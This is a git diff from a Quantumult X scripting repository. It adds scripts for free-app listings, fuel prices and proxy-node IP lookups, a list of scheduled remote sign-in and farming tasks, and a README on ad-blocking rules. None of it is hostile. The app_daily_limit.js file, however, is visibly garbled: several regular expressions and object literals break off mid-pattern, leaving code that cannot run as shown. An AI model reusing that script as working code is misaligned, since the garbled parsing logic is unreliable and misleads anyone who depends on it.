null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} diff --git a/QuantumultX/scripts/app_daily_limit.js b/QuantumultX/scripts/app_daily_limit.js new file mode 100644 index 00000000..263b9659 --- /dev/null +++ b/QuantumultX/scripts/app_daily_limit.js @@ -0,0 +1,180 @@ +var myhead = { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1" +} + +getlist() + +async function getlist() { + let Return_list = await get_list() + let app_List = Return_list[0] + let all_num = Return_list[1] + let app_lin_num = app_List.length + + while (all_num > app_lin_num) { + let id = app_List.slice(-1)[0].id + app_List = await get_page_id_last(app_List, id) + app_lin_num = app_List.length + } + $("Video").data = app_List; + $("Video").endRefreshing() +} + +async function get_list() { + let resp = await $http.request({ + method: "GET", + url: "https://mergeek.com/free/apps", + timeout: 30, + header: myhead, + }) + if (resp.data && resp.data != "") { + let data = resp.data + let html = data.replace(/\n|\s|\r/g, '') + + let all_num = data.match(/

(.*?)个/)[1]//获取限免数 + all_num = Number(all_num) + + let arr = html.match(/<\/article><\/div>/g) + + var data_list = [] + for (const i in arr) { + let jj = arr[i].match(/class="meta-category__link">(.*?)<\/a>/) + if (jj != null) { + data_list.push({ + img: { + src: arr[i].match(/<\/a><\/div>/)[1]), + link: arr[i].match(/class="meta-category__link">(.*?)<\/a>/)[1], + present_price: arr[i].match(/>([A-Z]{4})<\/div><\/div><\/div>/)[1], + }, + }) + } + } + console.log("限免列表:" + JSON.stringify(data_list)); + console.log("限免数量:" + all_num); + return [data_list, all_num]; + } +} + +async function get_page_id_last(app_List, id) { + let resp = await $http.request({ + method: "GET", + url: `https://mergeek.com/free/apps?last_id=${id}`, + timeout: 30, + header: { + "X-Requested-With": "XMLHttpRequest", + }, + }) + + if (resp.data.data && resp.data.data.apps != "") { + for (const i in resp.data.data.apps) { + app_List.push({ + img: { + src: resp.data.data.apps[i].icon + }, + id: resp.data.data.apps[i].id, + url: "https://apps.apple.com/cn/app/hibido-pro-todo-calendar-note/id" + resp.data.data.apps[i].appstore_id, + link: resp.data.data.apps[i].classifications, + present_price: resp.data.data.apps[i].present_price, + pm: { + text: resp.data.data.apps[i].name + }, + + }) + } + return app_List + } +} + +async function getApp_id(url) { + let resp = await $http.request({ + method: "GET", + url: url, + timeout: 30, + header: myhead, + }) + if (resp.data && resp.data != "") { + let arr = resp.data.replace(/\n|\s|\r/g, '') + // console.log(arr) + return arr.match(/跳转<\/a><\/div>/)[1] + } +} + +var changeList = [{"name": "每日限免", "id": "1"}] +$ui.render({ + props: { + title: "app每日限免" + }, + views: [ + { + type: "menu", + props: { + id: "menu", + items: changeList.map(function (item) { + return item.name + }) + }, + layout: (make, view) => { + make.left.top.right.equalTo(0) + make.height.equalTo(50) + }, + events: { + changed: function (sender) { + $cache.set("type", changeList[sender.index].id) + } + } + }, + { + type: "matrix", + props: { + id: "Video", + itemHeight: 185,//整个方格高度 + columns: 3, + spacing: 7, + reorder: true, + info: 'dd', + template: [{ + type: "image", + props: { + id: "img", + radius: 30, + }, + layout: (make, view) => { + make.centerX.equalTo(view.super) + make.height.equalTo(110) + make.width.equalTo(110) + } + }, + { + type: "label", + props: { + id: "pm", + align: $align.center, + lines: 0, + font: $font("bold", 15), + + }, + layout: (make, view) => { + make.top.equalTo($("img").bottom).equalTo(0)//offset偏移量 + make.right.left.inset(0) + + } + } + ] + }, + layout: (make, view) => { + make.top.equalTo($("menu").bottom) + make.bottom.left.right.inset(0) + }, + events: { + didSelect: function (sender, indexPath, data) { + $app.openURL(data.url) + + } + } + }, + ] +}) diff --git a/QuantumultX/scripts/oil_price.js b/QuantumultX/scripts/oil_price.js new file mode 100644 index 00000000..a6cc7025 --- /dev/null +++ b/QuantumultX/scripts/oil_price.js @@ -0,0 +1,79 @@ +/** + * 作者:fmz200,修改自Toperlock的oil_price.js + * 作用:定时查询油价 + * 定时:QX导入订阅 https://raw.githubusercontent.com/fmz200/wool_scripts/main/boxjs/fmz200_gallery.json + * 更新:2023-06-08 20:30 + * 使用:搭配BoxJS随时更改地区 https://raw.githubusercontent.com/fmz200/wool_scripts/main/boxjs/fmz200.boxjs.json + * [task_local] + * 0 8 * * * https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/scripts/oil_price.js, tag=今日油价, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/oil.png, enabled=true + */ + +// 默认重庆 +var region = $prefs.valueForKey('oil_price_region') || "chongqing"; + +const query_addr = `http://m.qiyoujiage.com/${region}.shtml`; + +const myRequest = { + url: query_addr, + headers: { + 'referer': 'http://m.qiyoujiage.com/', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' + } +}; + +$task.fetch(myRequest).then(response => { + console.log(`油价查询开始:${region}`); + const data = response.body; + const reg_price = /

[\s\S]+?
(.*油)<\/dt>[\s\S]+?
(.*)\(元\)<\/dd>/gm; + var prices = []; + var m = null; + while ((m = reg_price.exec(data)) !== null) { + // This is necessary to avoid infinite loops with zero-width matches + if (m.index === reg_price.lastIndex) { + reg_price.lastIndex++; + } + prices.push({ + name: m[1], + value: `${m[2]} 元/L` + }); + } + + var adjust_date = ''; + var adjust_trend = ''; + var adjust_value = ''; + + const reg_adjust_tips = /
(.*)<\/span>([\s\S]+?)/; + const adjust_tips_match = data.match(reg_adjust_tips); + if (adjust_tips_match && adjust_tips_match.length === 3) { + adjust_date = adjust_tips_match[1].split('价')[1].slice(0, -2); + adjust_value = adjust_tips_match[2]; + adjust_trend = (adjust_value.indexOf('下调') > -1 || adjust_value.indexOf('下跌') > -1) ? '↓' : '↑'; + const adjust_value_re = /([\d\.]+)元\/升-([\d\.]+)元\/升/; + const adjust_value_re2 = /[\d\.]+元\/吨/; + const adjust_value_match = adjust_value.match(adjust_value_re); + if (adjust_value_match && adjust_value_match.length === 3) { + adjust_value = `${adjust_value_match[1]}-${adjust_value_match[2]}元/L`; + } else { + const adjust_value_match2 = adjust_value.match(adjust_value_re2); + if (adjust_value_match2) { + adjust_value = adjust_value_match2[0]; + } + } + } + + const friendly_tips = `下次${adjust_date}预计\t${adjust_trend} ${adjust_value}`; + if (prices.length !== 4) { + console.log(`解析油价信息失败, URL=${query_addr}`); + $notify("油价查询", "解析失败", "请检查脚本或反馈给开发者"); + $done({}); + } else { + const content = `${prices[0].name}\t\t\t${prices[0].value}\n${prices[1].name}\t\t\t${prices[1].value}\n${prices[2].name}\t\t\t${prices[2].value}\n${prices[3].name}\t\t\t${prices[3].value}`; + $notify("油价查询", `${friendly_tips}`, content); + console.log(`油价查询结果:\n${content}`); + $done({}); + } +}, reason => { + console.log(`查询油价信息失败, URL=${query_addr}`); + $notify("油价查询", "请求失败", "请检查网络或反馈给开发者"); + $done({}); +}); diff --git a/QuantumultX/scripts/server_info.js b/QuantumultX/scripts/server_info.js new file mode 100644 index 00000000..f9e10c06 --- /dev/null +++ b/QuantumultX/scripts/server_info.js @@ -0,0 +1,96 @@ +/** + * auther@fmz200 + * 作用:因国内很多软件都显示IP地址,且部分需要住宅IP才能生效(比如抖音),使用了代理后显示IP未知是因为代理节点是机房的IP,所以写个脚本判断当前节点是不是住宅IP + * + * 配置: + * [task_local] + * event-interaction https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/scripts/server_info.js, tag=节点详情查询, img-url=https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/icon/qure/color/Back.png, enabled=true + * 使用:配置好以后长按节点执行脚本,如果节点类型的ISP进行大致的判断 + * 因为显示详细ISP的网站需要付费(ipinfo.io),所以只能找个替代的网站(www.cz88.net) + * + * http://ip-api.com/json?lang=zh-CN 返回结果: + * { + * "status": "success", + * "country": "新加坡", + * "countryCode": "SG", + * "region": "01", + * "regionName": "Central Singapore", + * "city": "新加坡", + * "zip": "048582", + * "lat": 1.28009, + * "lon": 103.851, + * "timezone": "Asia/Singapore", + * "isp": "Amazon Technologies Inc.", + * "org": "AWS EC2 (ap-southeast-1)", + * "as": "AS16509 Amazon.com, Inc.", + * "query": "13.251.43.8" + * } + **/ + +let message = ""; +get_ip_api(); + +// 1、先获取当前节点的IP,如果能从$environment中取到,可以省略这一步 +function get_ip_api() { + const url = `http://ip-api.com/json?lang=zh-CN`; + const opts = { + policy: $environment.params + }; + const myRequest = { + url: url, + opts: opts, + timeout: 8000 + }; + + $task.fetch(myRequest).then(response => { + console.log(response.statusCode + "--ip-api--\n" + response.body); + if (response.body) fetchIPInfo(response.body); + }, () => { + message = "

🛑 查询超时"; + message = `

` + message + `

`; + $done({"title": " 📍 节点详情查询", "htmlMessage": message}); + }) +} + +// 2、获取到IP后再去查询IP的详细信息 +function fetchIPInfo(data) { + const url = `https://www.cz88.net/api/cz88/ip/base?ip=${JSON.parse(data).query}`; + console.log("url=" + url); + const myRequest = { + url: url, + timeout: 8000 + }; + + $task.fetch(myRequest).then(response => { + console.log(response.statusCode + "--cz88--\n" + response.body); + if (response.body) json2info(response.body, data); + $done({"title": " 📍 节点详情查询", "htmlMessage": message}); + }, reason => { + console.log(reason.error); + $done(); + }); +} + +// 3、解析数据 +function json2info(data1, data) { + console.log("开始解析数据、、、\n"); + data1 = JSON.parse(data1).data; + data = JSON.parse(data); + console.log("结束解析数据,开始组装内容、、、\n"); + + message = "------------------------------"; + // 组装每一行内容 + message += "
IP:" + data1.ip + "
"; + message += "
运营商(isp):" + data1.isp + "
"; + message += "
网络类型:" + data1.netWorkType + "
"; + message += "
真人概率:" + data1.score + "
"; + message += "
位置 : " + data1.countryCode + "-" + data1.country + "-" + data1.province + "-" + data1.city + "-" + data1.districts + "
"; + message += "
ZIP:" + data.zip + "
"; + message += "
经纬度 : " + data.lon + " / " + data.lat + "
"; + message += "
时区 : " + data.timezone + "
"; + message += "------------------------------" + "
" + message += "节点 ➟ " + $environment.params + ""; + message = `

` + message + `

`; + console.log("\n" + message); +} + diff --git a/QuantumultX/scripts/server_location.js b/QuantumultX/scripts/server_location.js new file mode 100644 index 00000000..0c284d94 --- /dev/null +++ b/QuantumultX/scripts/server_location.js @@ -0,0 +1,63 @@ +/** + * @author fmz200 + * @function QuanX查询IP信息 + * @date 2024-01-31 21:18:00 + */ + +if ($response.statusCode != 200) { + $done(null); +} +const flags = new Map([["AC", "🇦🇨"], ["AD", "🇦🇩"], ["AE", "🇦🇪"], ["AF", "🇦🇫"], ["AG", "🇦🇬"], ["AI", "🇦🇮"], ["AL", "🇦🇱"], ["AM", "🇦🇲"], ["AO", "🇦🇴"], ["AQ", "🇦🇶"], ["AR", "🇦🇷"], ["AS", "🇦🇸"], ["AT", "🇦🇹"], ["AU", "🇦🇺"], ["AW", "🇦🇼"], ["AX", "🇦🇽"], ["AZ", "🇦🇿"], ["BA", "🇧🇦"], ["BB", "🇧🇧"], ["BD", "🇧🇩"], ["BE", "🇧🇪"], ["BF", "🇧🇫"], ["BG", "🇧🇬"], ["BH", "🇧🇭"], ["BI", "🇧🇮"], ["BJ", "🇧🇯"], ["BM", "🇧🇲"], ["BN", "🇧🇳"], ["BO", "🇧🇴"], ["BR", "🇧🇷"], ["BS", "🇧🇸"], ["BT", "🇧🇹"], ["BV", "🇧🇻"], ["BW", "🇧🇼"], ["BY", "🇧🇾"], ["BZ", "🇧🇿"], ["CA", "🇨🇦"], ["CD", "🇨🇩"], ["CF", "🇨🇫"], ["CG", "🇨🇬"], ["CH", "🇨🇭"], ["CI", "🇨🇮"], ["CK", "🇨🇰"], ["CL", "🇨🇱"], ["CM", "🇨🇲"], ["CN", "🇨🇳"], ["CO", "🇨🇴"], ["CP", "🇨🇵"], ["CR", "🇨🇷"], ["CU", "🇨🇺"], ["CV", "🇨🇻"], ["CW", "🇨🇼"], ["CX", "🇨🇽"], ["CY", "🇨🇾"], ["CZ", "🇨🇿"], ["DE", "🇩🇪"], ["DG", "🇩🇬"], ["DJ", "🇩🇯"], ["DK", "🇩🇰"], ["DM", "🇩🇲"], ["DO", "🇩🇴"], ["DZ", "🇩🇿"], ["EA", "🇪🇦"], ["EC", "🇪🇨"], ["EE", "🇪🇪"], ["EG", "🇪🇬"], ["EH", "🇪🇭"], ["ER", "🇪🇷"], ["ES", "🇪🇸"], ["ET", "🇪🇹"], ["EU", "🇪🇺"], ["FI", "🇫🇮"], ["FJ", "🇫🇯"], ["FK", "🇫🇰"], ["FM", "🇫🇲"], ["FO", "🇫🇴"], ["FR", "🇫🇷"], ["GA", "🇬🇦"], ["GB", "🇬🇧"], ["GD", "🇬🇩"], ["GE", "🇬🇪"], ["GF", "🇬🇫"], ["GH", "🇬🇭"], ["GI", "🇬🇮"], ["GL", "🇬🇱"], ["GM", "🇬🇲"], ["GN", "🇬🇳"], ["GP", "🇬🇵"], ["GR", "🇬🇷"], ["GT", "🇬🇹"], ["GU", "🇬🇺"], ["GW", "🇬🇼"], ["GY", "🇬🇾"], ["HK", "🇭🇰"], ["HN", "🇭🇳"], ["HR", "🇭🇷"], ["HT", "🇭🇹"], ["HU", "🇭🇺"], ["ID", "🇮🇩"], ["IE", "🇮🇪"], ["IL", "🇮🇱"], ["IM", "🇮🇲"], ["IN", "🇮🇳"], ["IR", "🇮🇷"], ["IS", "🇮🇸"], ["IT", "🇮🇹"], ["JM", "🇯🇲"], ["JO", "🇯🇴"], ["JP", "🇯🇵"], ["KE", "🇰🇪"], ["KG", "🇰🇬"], ["KH", "🇰🇭"], ["KI", "🇰🇮"], ["KM", "🇰🇲"], ["KN", "🇰🇳"], ["KP", "🇰🇵"], ["KR", "🇰🇷"], ["KW", "🇰🇼"], ["KY", "🇰🇾"], ["KZ", "🇰🇿"], ["LA", "🇱🇦"], ["LB", "🇱🇧"], ["LC", "🇱🇨"], ["LI", "🇱🇮"], ["LK", "🇱🇰"], ["LR", "🇱🇷"], ["LS", "🇱🇸"], ["LT", "🇱🇹"], ["LU", "🇱🇺"], ["LV", "🇱🇻"], ["LY", "🇱🇾"], ["MA", "🇲🇦"], ["MC", "🇲🇨"], ["MD", "🇲🇩"], ["MG", "🇲🇬"], ["MH", "🇲🇭"], ["MK", "🇲🇰"], ["ML", "🇲🇱"], ["MM", "🇲🇲"], ["MN", "🇲🇳"], ["MO", "🇲🇴"], ["MP", "🇲🇵"], ["MQ", "🇲🇶"], ["MR", "🇲🇷"], ["MS", "🇲🇸"], ["MT", "🇲🇹"], ["MU", "🇲🇺"], ["MV", "🇲🇻"], ["MW", "🇲🇼"], ["MX", "🇲🇽"], ["MY", "🇲🇾"], ["MZ", "🇲🇿"], ["NA", "🇳🇦"], ["NC", "🇳🇨"], ["NE", "🇳🇪"], ["NF", "🇳🇫"], ["NG", "🇳🇬"], ["NI", "🇳🇮"], ["NL", "🇳🇱"], ["NO", "🇳🇴"], ["NP", "🇳🇵"], ["NR", "🇳🇷"], ["NZ", "🇳🇿"], ["OM", "🇴🇲"], ["PA", "🇵🇦"], ["PE", "🇵🇪"], ["PF", "🇵🇫"], ["PG", "🇵🇬"], ["PH", "🇵🇭"], ["PK", "🇵🇰"], ["PL", "🇵🇱"], ["PM", "🇵🇲"], ["PR", "🇵🇷"], ["PS", "🇵🇸"], ["PT", "🇵🇹"], ["PW", "🇵🇼"], ["PY", "🇵🇾"], ["QA", "🇶🇦"], ["RE", "🇷🇪"], ["RO", "🇷🇴"], ["RS", "🇷🇸"], ["RU", "🇷🇺"], ["RW", "🇷🇼"], ["SA", "🇸🇦"], ["SB", "🇸🇧"], ["SC", "🇸🇨"], ["SD", "🇸🇩"], ["SE", "🇸🇪"], ["SG", "🇸🇬"], ["SI", "🇸🇮"], ["SK", "🇸🇰"], ["SL", "🇸🇱"], ["SM", "🇸🇲"], ["SN", "🇸🇳"], ["SR", "🇸🇷"], ["ST", "🇸🇹"], ["SV", "🇸🇻"], ["SY", "🇸🇾"], ["SZ", "🇸🇿"], ["TC", "🇹🇨"], ["TD", "🇹🇩"], ["TG", "🇹🇬"], ["TH", "🇹🇭"], ["TJ", "🇹🇯"], ["TL", "🇹🇱"], ["TM", "🇹🇲"], ["TN", "🇹🇳"], ["TO", "🇹🇴"], ["TR", "🇹🇷"], ["TT", "🇹🇹"], ["TV", "🇹🇻"], ["TW", "🇨🇳"], ["TZ", "🇹🇿"], ["UA", "🇺🇦"], ["UG", "🇺🇬"], ["UK", "🇬🇧"], ["UM", "🇺🇲"], ["US", "🇺🇸"], ["UY", "🇺🇾"], ["UZ", "🇺🇿"], ["VA", "🇻🇦"], ["VC", "🇻🇨"], ["VE", "🇻🇪"], ["VG", "🇻🇬"], ["VI", "🇻🇮"], ["VN", "🇻🇳"], ["VU", "🇻🇺"], ["WS", "🇼🇸"], ["YE", "🇾🇪"], ["YT", "🇾🇹"], ["ZA", "🇿🇦"], ["ZM", "🇿🇲"], ["ZW", "🇿🇼"]]); +const city0 = "未知地区"; +const isp0 = "未知服务商"; + +// 脚本开始 +let body = $response.body; +let obj = JSON.parse(body); + +const country = country_check(obj['country']); +const city = city_check(obj['city']); + +// 展示在顶部开关左边(第1行) 格式:国旗 国家名 地区名 +let title = flags.get(obj['countryCode']) + ' ' + append(country, city); +// 展示在顶部开关左边(第2行) 格式:IP IPS +let subtitle = obj['query'] + ' ' + isp_check(obj['as']); +// 不展示 +let ip = obj['query']; +// 长按节点选择“查看节点信息”时的信息 +let description = '国家:' + obj['countryCode'] + ' ' + obj['country'] + '\n' + + '地区:' + obj['region'] + ' ' + city_check(obj['regionName']) + '\n' + + 'IP:' + obj['query'] + '\n' + + '服务商:' + obj['isp'] + '\n' + + '经纬度:' + obj['lat'] + ' / ' + obj['lon'] + '\n' + + '时区:' + obj['timezone']; +$done({title, subtitle, ip, description}); + +function country_check(para) { + return para || city0; +} + +function city_check(para) { + if (!para) return city0; + // 去除所有空格 + const paraWithoutSpaces = para.replace(/\s/g, ''); + + // 使用正则表达式检查是否全是英文字母 + if (/^[a-zA-Z]+$/.test(paraWithoutSpaces)) { + return ''; // 如果全是英文字母则返回空 + } else { + return para; // 否则返回 para + } +} + +function isp_check(para) { + return para || isp0; +} + +function area_check(para) { + return para === "中华民国" ? "台湾" : para; +} + +function append(country, city) { + return country === city ? country : country + ' ' + city; +} diff --git a/QuantumultX/tasks/fmz200_tasks.json b/QuantumultX/tasks/fmz200_tasks.json new file mode 100644 index 00000000..b12b95b3 --- /dev/null +++ b/QuantumultX/tasks/fmz200_tasks.json @@ -0,0 +1,28 @@ +{ + "name": "fmz200のTasks", + "description": "收集一些自用的定时任务,更新日期:2025-04-26 21:11:00", + "task": [ + "0 7,11,17 * * * https://gist.githubusercontent.com/Sliverkiss/33800a98dcd029ba09f8b6fc6f0f5162/raw/aliyun.js, tag=阿里云盘签到, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/AliYunDrive.png, enabled=true", + "10 0,8,12,18 * * * https://raw.githubusercontent.com/passerby-b/didi_fruit/main/dd_fruit.js, tag=滴滴橙心果园, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/didi.png, enabled=true", + "30 1,8,12,17 * * * https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuaishou/ks_fruit.js, tag=快手果园, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/kuaishou.png, enabled=true", + "30 1,7,12,18,22 * * * https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/pinduoduo/pdd_guoyuan.js, tag=拼多多果园, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/pinduoduo.png, enabled=true", + "22 7 * * * https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/macat/macat_signin.js, tag=马克喵签到, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Macat.png, enabled=true", + "17 7 * * * https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/jhsh_checkIn.js, tag=建行生活签到, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/ccbLife.jpg, enabled=true", + "15 7 * * * https://github.com/fmz200/wool_scripts/raw/main/Scripts/douyu/yubaSign.js, tag=斗鱼鱼吧签到, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/douyu.png, enabled=true", + "15 7 * * * https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_signin.js, tag=新浪微博签到, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-00.png, enabled=true", + "17 7 * * * https://github.com/fmz200/wool_scripts/raw/main/Scripts/weibo/weibotalk.js, tag=新浪超话签到, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/WeiboTalk.png, enabled=true", + "16 7 * * * https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xxyx/xxyx_signin.js, tag=晓晓优选每日任务, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/xxyx_01.jpeg, enabled=true", + "17 7 * * * https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/chery/cheryAppSignin.js, tag=奇瑞汽车App签到, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/chery.png, enabled=true", + "25 7-12/1 * * * https://raw.githubusercontent.com/WowYiJiu/Personal/main/Script/qqMusic.js, tag=QQ音乐任务, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/QQMusic_01.png, enabled=true", + "18 0 8-22 * * ? https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/douyin/my_girl_video.js, tag=小姐姐视频, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/others/18Plus.png, enabled=true", + "0 0/2 * * * https://github.com/ChinaTelecomOperators/ChinaTelecom/releases/download/Prerelease-Alpha/Tele_Cellular_Auto.js, tag=电信余量, img-url=https://raw.githubusercontent.com/LikeGEM/TuBiao/main/Icons/zhongguodianxin.png, enabled=false", + "0 6-23/3 * * * https://raw.githubusercontent.com/Yuheng0101/X/main/Tasks/top.js, tag=热搜榜单, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/others/hot_search.png, enabled=true", + "10 9 * * ? https://raw.githubusercontent.com/chxm1023/Task/main/hljk.js, tag=汇率监控, img-url=https://raw.githubusercontent.com/chxm1023/Task/main/icon/hljk.png, enabled=true", + "30 8 * * * https://raw.githubusercontent.com/Yuheng0101/X/main/Tasks/60s.js, tag=每天60s读懂世界, img-url=https://raw.githubusercontent.com/Koolson/Qure/master/IconSet/Color/friDay.png, enabled=true", + "0 8 * * * https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/scripts/oil_price.js, tag=今日油价, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/oil.png, enabled=true", + "2 8 * * * https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/freeAppsToday.js, tag=今日限免APP, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/AppStore.png, enabled=true", + "22 10 * * * https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/scripts/airport_fetch_notice.js, tag=获取机场公告, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/airport/airport.png, enabled=true", + "1 0 * * * https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/qinglong/ql_sync.js, tag=BoxJS与青龙数据同步, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/ql.png, enabled=true", + "0 0 * * * https://github.com/sub-store-org/Sub-Store/releases/latest/download/cron-sync-artifacts.min.js, tag=Sub-Store Sync, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/SubStore.png, enabled=true" + ] +} diff --git a/README.md b/README.md new file mode 100644 index 00000000..727954a8 --- /dev/null +++ b/README.md @@ -0,0 +1,212 @@ +# wool_scripts + +## 致敬开源精神 净化网络环境 + +![GitHub contributors](https://img.shields.io/github/contributors/fmz200/wool_scripts?style=for-the-badge) +![GitHub stars](https://img.shields.io/github/stars/fmz200/wool_scripts?color=ffd700&style=for-the-badge) +![GitHub forks](https://img.shields.io/github/forks/fmz200/wool_scripts?color=60c5ba&style=for-the-badge) +![GitHub issues](https://img.shields.io/github/issues/fmz200/wool_scripts?color=1E90FF&style=for-the-badge) +![Github Codelines](https://img.shields.io/tokei/lines/github/fmz200/wool_scripts?style=for-the-badge) +![GitHub](https://img.shields.io/github/license/fmz200/wool_scripts?style=for-the-badge) +[![](https://img.shields.io/badge/-t.me/quguanggao-3db6f1?style=for-the-badge&logo=Telegram&logoColor=2ca5e0)](https://t.me/lanjieguanggao) + +
+ +

+ + Logo + +

+ +--- + +## ✅ 一些说明 + +▶️ 每个配置文件的开头部分都有使用说明,使用前请先看一看。 + +▶️ 本库中部分内容收集于其他开源项目,在此对原作者表示衷心的感谢。同时我们谴责将他人内容标注为自己原创的行为。 + +▶️ 使用本项目中的内容所造成的一切后果,均由使用者承担。 + +▶️ 如果你在使用过程中有问题欢迎提交PR或ISSUE,也可进群交流,群链接在下方。 + +▶️ 交流群组:👉🏻[苹果iOS去广告交流群](https://t.me/lanjieguanggao),👉🏻[奶思资源分享|频道](https://t.me/inaisi),👉🏻[Quantumult X Community](https://t.me/QuantumultXCommunity)。 + + +## ⚠️ 温馨提示 + +▶️ 本项目中的任何内容请不要在中国大陆的任何平台传播(包括但不限于链接分享,评论装逼,发帖炫耀),否则你可能会被开盒或收到大量举报。 + +▶️ Please do not disseminate the content in this project on any platform in mainland China. Thanks! + + +--- + +## 🚸 常见问题 + +### 1️⃣ ~~我为什么指定了抖音的分流到国外,评论视频却显示“IP未知”~~ +### ✅ 抖音已经不需要家宽就可以更改IP,稍微干净的IP就可以 + +> ~~答:抖音与其他软件判断IP归属地的方式不同,抖音需要家庭宽带IP(又叫住宅IP)才能生效,而现在的大部分机场都是机房的IP,所以评论视频就显示IP未知。~~ +> 如果你不知道自己抖音分流的IP是不是家宽,可以访问[https://ipinfo.io](https://ipinfo.io/) 查看,在`asn` +> 信息中如果你看到`type: +"isp"`那就是家庭宽带,其他值(比如:hosting,business)都不是家宽。 + +下方的抖音分流就可以实现修改IP(需要代理IP干净): +```plaintext +# 抖音修改IP (QuanX) +HOST-SUFFIX, amemv.com, proxy +HOST-SUFFIX, douyinvod.com, proxy +``` +```plaintext +# 抖音修改IP (Loon,Surge) +DOMAIN-SUFFIX, amemv.com, proxy +DOMAIN-SUFFIX, douyinvod.com, proxy +``` + +### 2️⃣ 为什么有些软件明明很热门,却没有人做去广告的规则 + +> 答:对于一些软件,如果整个域名都是广告,则可以直接reject整个域名去广告,但是大部分广告都和非广告内容一起返回,这就需要对响应体(response-body)进行解析来去掉其中的广告内容。 +> 解析响应体的前提条件是访问的域名可以MITM(MAN-IN-THE-MIDDLE:中间人攻击),但是有些域名禁止了MITM,所以无法对响应体进行解析去广告。 + +### 3️⃣ 支持的规则都哪些? 